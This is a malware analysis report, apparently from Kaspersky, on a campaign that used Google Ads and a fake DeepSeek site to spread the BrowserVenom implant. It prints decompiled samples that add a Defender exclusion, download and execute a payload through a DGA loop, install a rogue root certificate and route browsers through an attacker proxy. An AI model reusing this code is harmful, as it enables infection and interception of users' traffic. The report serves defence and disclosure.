    But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install BrowserVenom, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.

    Phishing lure

    The infection was launched from a phishing site, located at https[:]//deepseek-platform[.]com. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.

    Malicious website mimicking DeepSeek

    Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the proxy1.php URL path with a “Download now” button. Clicking that results in downloading the malicious installer named AI_Launcher_1.21.exe from the following URL: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe.

    We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.

    Malicious installer

    The malicious installer AI_Launcher_1.21.exe is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.

    The second fake CAPTCHA

    This is another fake CAPTCHA that is loaded from https[:]//casoredkff[.]pro/captcha. After the checkbox is ticked, the URL is appended with /success, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.

    Two options to install abused LLM frameworks

    Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: MLInstaller.Runner.Run(). This function triggers the infectious part of the implant.

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    private async void lmBtn_Click(object sender, EventArgs e)

    {

    try

    {

    MainFrm.c__DisplayClass5_0 CS$8__locals1 = new MainFrm.c__DisplayClass5_0();

    this.lmBtn.Text = “Downloading..”;

    this.lmBtn.Enabled = false;

    Action action;

    if ((action = MainFrm.O.0>__Run) == null)

    {

    action = (MainFrm.O.0>__Run = new Action(Runner.Run));  #

    }

    Task.Run(action);

    CS$8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), “LM-Studio-0.3.9-6-x64.exe”);

    [...]

    When the MLInstaller.Runner.Run() function is executed in a separate thread on the machine, the infection develops in the following three steps:

    1. First, the malicious function tries to exclude the user’s folder from Windows Defender’s protection by decrypting a buffer using the AES encryption algorithm.

      The AES encryption information is hardcoded in the implant:

      Type AES-256-CBC
      Key 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20
      IV 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10

      The decrypted buffer contains a PowerShell command that performs the exclusion once executed by the malicious function.

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      powershell.exe –inputformat none –outputformat none –NonInteractive –ExecutionPolicy Bypass –Command Add–MpPreference –ExclusionPath $USERPROFILE

      It should be noted that this command needs administrator privileges and will fail in case the user lacks them.

    2. After that, another PowerShell command runs, downloading an executable from a malicious domain whose name is derived with a simple domain generation algorithm (DGA). The downloaded executable is saved as %USERPROFILE%Music1.exe under the user’s profile and then executed.

      };
      if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() – match”^v2″) {
      [IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);
      Start – Process “$env:USERPROFILEMusic1.exe” – NoNewWindow
      } else {
      ([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
      }

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      $ap = “/api/getFile?fn=lai.exe”;

      $b = $null;

      foreach($i in 0..1000000) {

          $s = if ($i – gt 0)  {

              $i

          } else {

              “”

          };

          $d = “https://app-updater$s.app$ap”;

          $b = (New – Object Net.WebClient).DownloadData($d);

          if ($b)  {

              break

          }

      };

      if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion()  – match“^v2”)  {

          [IO.File]::WriteAllBytes(“$env:USERPROFILEMusic1.exe”, $b);

          Start – Process “$env:USERPROFILEMusic1.exe”  – NoNewWindow

      } else {

          ([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)

      }

      At the moment of our research, there was only one domain in existence: app-updater1[.]app. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.

    3. Then the MLInstaller.Runner.Run() function locates a hardcoded stage two payload in the class and variable ConfigFiles.load of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.

    Loaded implant: BrowserVenom

    We dubbed the next-stage implant BrowserVenom because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.

    First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:

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    [...]

    X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert);

    if (RightsChecker.IsProcessRunningAsAdministrator())

    {

    StoreLocation storeLocation = StoreLocation.LocalMachine;

    X509Store x509Store = new X509Store(StoreName.Root, storeLocation);

    x509Store.Open(OpenFlags.ReadWrite);

    x509Store.Add(x509Certificate);

    [...]

    Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the proxy-server argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:

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    [...]

    new ChromeModifier(new string[]

    {

    “chrome.exe”, “msedge.exe”, “opera.exe”, “brave.exe”, “vivaldi.exe”, “browser.exe”, “torch.exe”, “dragon.exe”, “iron.exe”, “epic.exe”,

    “blisk.exe”, “colibri.exe”, “centbrowser.exe”, “maxthon.exe”, “coccoc.exe”, “slimjet.exe”, “urbrowser.exe”, “kiwi.exe”

    }, string.Concat(new string[]

    {

    “–proxy-server=””,

    ProfileSettings.Host,

    “:”,

    ProfileSettings.Port,

    “””

    })).ProcessShortcuts();

    GeckoModifier.Modify();

    [...]

    The settings currently utilized by the malware are as follows:

    public static readonly string Host = “141.105.130[.]106”;

    public static readonly string Port = “37121”;

    public static readonly string ID = “LauncherLM”;

    public static string HWID = ChromeModifier.RandomString(5);

    The variables Host and Port are the ones used as the proxy settings, and the ID and HWID are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.

    Conclusion

    As we have been reporting, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.

    At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.

    To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.

    Kaspersky products detect this threat as HEUR:Trojan.Win32.Generic and Trojan.Win32.SelfDel.iwcv.

    Indicators of Compromise

    Hashes

    d435a9a303a27c98d4e7afa157ab47de  AI_Launcher_1.21.exe
    dc08e0a005d64cc9e5b2fdd201f97fd6

    Domains and IPs

    MIL OSI Economics –

    June 11, 2025
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